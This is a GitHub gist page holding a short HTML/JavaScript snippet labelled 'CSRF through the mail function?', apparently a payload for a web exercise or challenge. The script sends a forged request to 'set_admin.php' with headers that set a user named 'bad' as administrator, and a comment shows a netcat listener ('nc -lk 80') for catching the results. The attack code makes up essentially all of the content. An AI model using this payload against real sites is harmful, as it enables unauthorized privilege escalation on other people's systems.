Skip to content

Instantly share code, notes, and snippets.

@DavidMah
Created February 2, 2013 01:09
Show Gist options
  • Select an option

  • Save DavidMah/4695391 to your computer and use it in GitHub Desktop.

Select an option

Save DavidMah/4695391 to your computer and use it in GitHub Desktop.
<!-- CSRF through the mail function?-->
<!-- sudo nc -lk 80-->
<script>
var oReq = new window.XMLHttpRequest;
oReq.open("GET", "set_admin.php", true);
oReq.setRequestHeader("user", "bad");
oReq.setRequestHeader("Set", "Set");
function handler(data) {
console.log($(oReq.responseText))
}
oReq.onreadystatechange = handler
oReq.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment